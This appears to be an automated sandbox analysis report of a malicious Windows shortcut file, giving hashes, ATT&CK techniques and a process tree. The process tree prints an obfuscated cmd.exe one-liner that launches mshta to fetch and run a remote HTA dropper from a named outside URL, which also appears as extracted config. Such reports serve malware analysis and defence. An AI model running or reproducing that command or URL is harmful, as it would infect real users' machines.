33fe510d7492f420fb78c0a68d1066c231145ed5b21be7a683b16d425731c051

Analysis

max time kernel
148s
max time network
127s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260710-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260710-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
04/08/2026, 08:23

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General

Target
DOC-STNRY1.lnk
Size 1KB
Sample260804-kacqhszzft
SHA256 33fe510d7492f420fb78c0a68d1066c231145ed5b21be7a683b16d425731c051
MD5 8cb85245026d4e704a96936f7cffd41a
SHA1 2fff373336c2a50ea3064d2bd7e36e7f8c1d2480
SHA512 510918a28f26ac9b8b2b57667813dade2c291b5403b76d5deae736fa8db792c475163ee1da7a7be26eef255e3dd43b2ae99bedcfc92128c241eda7b52937f559
TLSH
T1FA31CB503FEC0624F3F38F7395BB572089BBB8668D20C62E0041454C5433A15E53AF6B
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
1772	cmd.exe
4796	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 1772 wrote to memory of 4796	1772	cmd.exe	90
PID 4796 wrote to memory of 924	4796	cmd.exe	91

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-STNRY1.lnk
1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1772
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /V:on /c "set Izj=msh&&set RAc=ta&&start "" !Izj!!RAc! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:4796
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:924

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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